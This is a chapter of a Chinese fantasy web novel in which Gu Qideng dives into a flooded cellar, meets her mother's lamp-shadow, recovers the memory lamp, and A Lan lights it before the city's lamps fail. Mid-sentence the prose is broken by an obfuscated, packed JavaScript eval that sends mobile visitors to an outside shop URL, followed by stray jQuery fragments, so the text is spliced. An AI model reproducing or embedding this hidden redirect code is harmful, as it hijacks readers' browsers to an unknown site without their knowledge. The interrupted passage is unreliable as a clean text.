顾栖灯没有立刻往前。
水里那张脸太像沈兰烛了。
眉眼、鼻梁，连说话时微微偏头的习惯都一样。只是比她在铜镜和黑棺里见到的母亲更年轻，衣裳也不是临江常见的样式，袖口沾着泥，像是刚从雨里回来。
“娘？”顾栖灯试着叫了一声。
水里的女人笑了笑。
“算是。”
这个答案让顾栖灯停住。
女人隔着水看她，神情有一点无奈。
“我是她留在记灯里的一段影子。你娘当年怕自己出事，怕曲水的人把事情忘干净，便留下了我。”
“那你知道后来发生了什么？”
“知道一部分。”
“我娘现在在哪里？”
女人的目光落到她胸前的铜灯上。
“还在等你。”
顾栖灯的心被这句话轻轻碰了一下。
她往前走了一步，水已经漫到腰间。黑水冷得刺骨，白线从四面八方浮上来，贴着她的衣角游动。
井口上方，顾长川的声音传下来：“栖灯？”
“我没事。”
“水里有什么？”
顾栖灯看着那张脸。
“我娘留下的影子。”
顾长川沉默了片刻。
“可信吗？”
“我不知道。”
水里的女人听见了，倒不生气。
“你这位三哥说得没错。”她道，“灯里的东西最会说人想听的话。你先问我一件，只有你和你娘知道的事。”
顾栖灯怔住。
她与母亲真正相处的时间太少了。
少到她一时竟想不出有什么事，是只有她们知道的。
水里的女人安静等着。
顾栖灯忽然想起黑棺里那道很轻的叹息，想起母亲说“别急着救我”，想起自己从小到大做过许多个没有脸的梦。
梦里总有一双手替她掖好被角，手指上有很淡的灯油味。
“我小时候做噩梦。”顾栖灯说，“梦见自己被水冲走。后来每次醒来，枕头边都会有一小片晒干的白眠花。”
女人眼里的笑意慢慢淡了。
“不是白眠花。”她说，“是白眠花的叶子。花会让人忘梦，叶子不能。你娘怕你把梦忘得太干净，什么都不记得，只敢放一片叶子。”
顾栖灯的手指微微蜷起。
“她说，梦里的路不好走。但记得一点，就不至于下次又走错。”
水里的女人看着她。
“现在信了吗？”
顾栖灯点头。
“信。”
“那就过来。”
女人转身，往无字碑后走去。
顾栖灯跟着她下沉。
水没过肩头时，白线终于缠上来。一根缠住她小腿，另一根绕过手腕。线很轻，轻得像水草，却一点点往肉里钻。
顾栖灯咬住牙，摸到腰上的绳子，拉了两下。
井口立刻传来回应。
绳子绷紧。
顾长川没有把她往上拉，只是稳稳拽住，给她留出往前的力。
无字碑近在眼前。
碑后那只木匣被一层白线裹得很紧。顾栖灯伸手去碰，指尖刚挨上去，水里便涌出无数断断续续的声音。
“我爹叫……”
“我住在……”
“不要忘……”
声音太多了。
像整座曲水城被拿走的记忆，全塞进了这一池黑水里。顾栖灯一阵眩晕，眼前闪过许多不属于她的画面——有人在河边埋掉亲人，有人抱着刚出生的孩子哭，有人拿着白灯，茫然地站在自己家门口。
她差点松开手。
一只手却从旁边伸过来，按住木匣。
是那道灯影。
“别去看全城。”她说，“先看你眼前的东西。”
顾栖灯回过神。
木匣上没有锁。
只是压着一张被水泡得发皱的纸。
纸上是沈兰烛的字。
曲水记灯，不记悲苦，不替人忘。
若后来者见此，先取灯，再开碑。
不要怜悯白线。
白线知道人最想忘什么，也知道人最舍不得什么。你越可怜它，它便越会缠住你。
顾栖灯看完，将纸塞进袖里。
“先取灯。”她低声道。
她用发簪挑开最外层的线。
白线立刻收紧，缠上她手指。疼意猛地窜上来，水里的声音也更乱了。顾栖灯忍着没有松手，一根根挑开。
木匣终于露出来。
里面没有什么惊人的东西。
只有一盏最普通的旧灯。
灯盏是青铜的，灯壁上有一层细细的划痕，像被人带着走过很多路。里面存着一点早已干掉的灯油，灯芯却还在。
顾栖灯认得。
这才是真正的记灯。
灯影站在一旁，神情有些恍惚。
“你娘离开曲水那天，把它留给阿兰。”她说，“她以为阿兰会用。”
“阿兰为什么没用？”
“因为后来有人告诉她，记得太多会害死人。”
顾栖灯低头看那盏灯。
她能想象阿兰拿着它，想起城里死去的人，想起病人求救的脸，想起儿子害怕白灯时的哭声。记忆太重了，重到许多人宁愿点一盏灯，把它们全忘掉。
“她不是不肯用。”顾栖灯说。
灯影看着她。
“她是不知道怎么用。”
池水忽然晃了一下。
井口传来一声闷响，像有什么重物砸在地面上。顾长川的声音隔着水变得很模糊，却还能听出急意。
“上来！”
顾栖灯抬头。
白线开始往她身上缠。
比方才快得多。
水窖里的小塔已经亮到刺眼，塔顶那盏白灯将她的影子清清楚楚投在水面上。顾栖灯看见自己的脸在水中发白，像也要变成这座城里某一盏无名的灯。
她抓住记灯，拉了三下绳子。
上方的力道猛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968860|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地一收。
白线缠住她脚踝，不肯放。顾栖灯整个人被拉得往上，却又被水下拽住，肩膀狠狠撞在无字碑上。
顾长川从井口跳了下来。
水花溅到顾栖灯脸上。
他没有先去斩线，只伸手抓住她的手腕，确认她还握着那盏灯。
“拿到了？”
顾栖灯点头。
顾长川这才拔刀。
短刀碰到白线时，线里传出一声极轻的哭。
顾长川的动作顿了一下。
顾栖灯看见他手背上青筋绷起，随即用力划下去。
线断了。
不是被砍碎，而是像一段被人从旧衣上拆下来的丝，慢慢散开。
两人被绳子拽上水面。
顾栖灯呛了几口水，趴在池边咳得眼前发黑。顾长川替她拍背，动作生硬，拍了两下又停住，像怕力气太大。
“没事。”顾栖灯说。
顾长川没说话。
他的衣袖全湿了，头发贴在额前，脸色比她还难看。
阿兰踉跄着走过来，看到顾栖灯手里的记灯，眼泪一下掉下来。
“真还在。”
“你会点吗？”顾栖灯问。
阿兰摇头。
“我怕。”
“我也怕。”
阿兰抬起头。
顾栖灯把灯递给她。
“但你知道这座城的人都忘了什么。你也知道，他们应该先记起什么。”
阿兰没有接。
“我记不全了。”
“那就先记一个。”
水窖里有人在低声哭，有人开始喊自己的名字。白线仍缠着他们的指尖，塔上的白灯也没有熄。
顾栖灯看着阿兰。
“先记阿砚。”
阿兰的手抖得厉害。
她终于接过记灯。
灯芯没有立刻燃。
她低头想了很久，才从袖中摸出一张皱巴巴的纸。纸上画着一个歪歪扭扭的小人，旁边写着：阿砚今日七岁，偷吃了两块糖。
阿兰看着那行字，忽然笑了一下。
“他怕黑。”她说。
灯芯亮了。
不是耀眼的光。
只是一点很小的黄，落在阿兰指尖，像一粒终于没被水冲走的火星。
白线轻轻松开了一根。
水窖上方的白灯塔随之一暗。
然而下一瞬，塔顶传来一声尖锐的裂响。
所有白灯同时熄灭。
曲水城骤然陷入黑暗。
阿兰脸上的笑意还没散去，便听见地面上传来无数人惊惶的哭喊。失去白灯照耀的街巷里，有人跌倒，有人撞门，有人像忽然想起了太多事，抱着头大叫。
顾栖灯握紧池沿。
她知道，白灯不是被她们关掉的。
有人抢在她们前面，拔掉了整座城最后一层遮掩。
黑暗里，那道没有右眼的声音从塔顶落下来。
“既然要他们记起，就让他们全都记起。”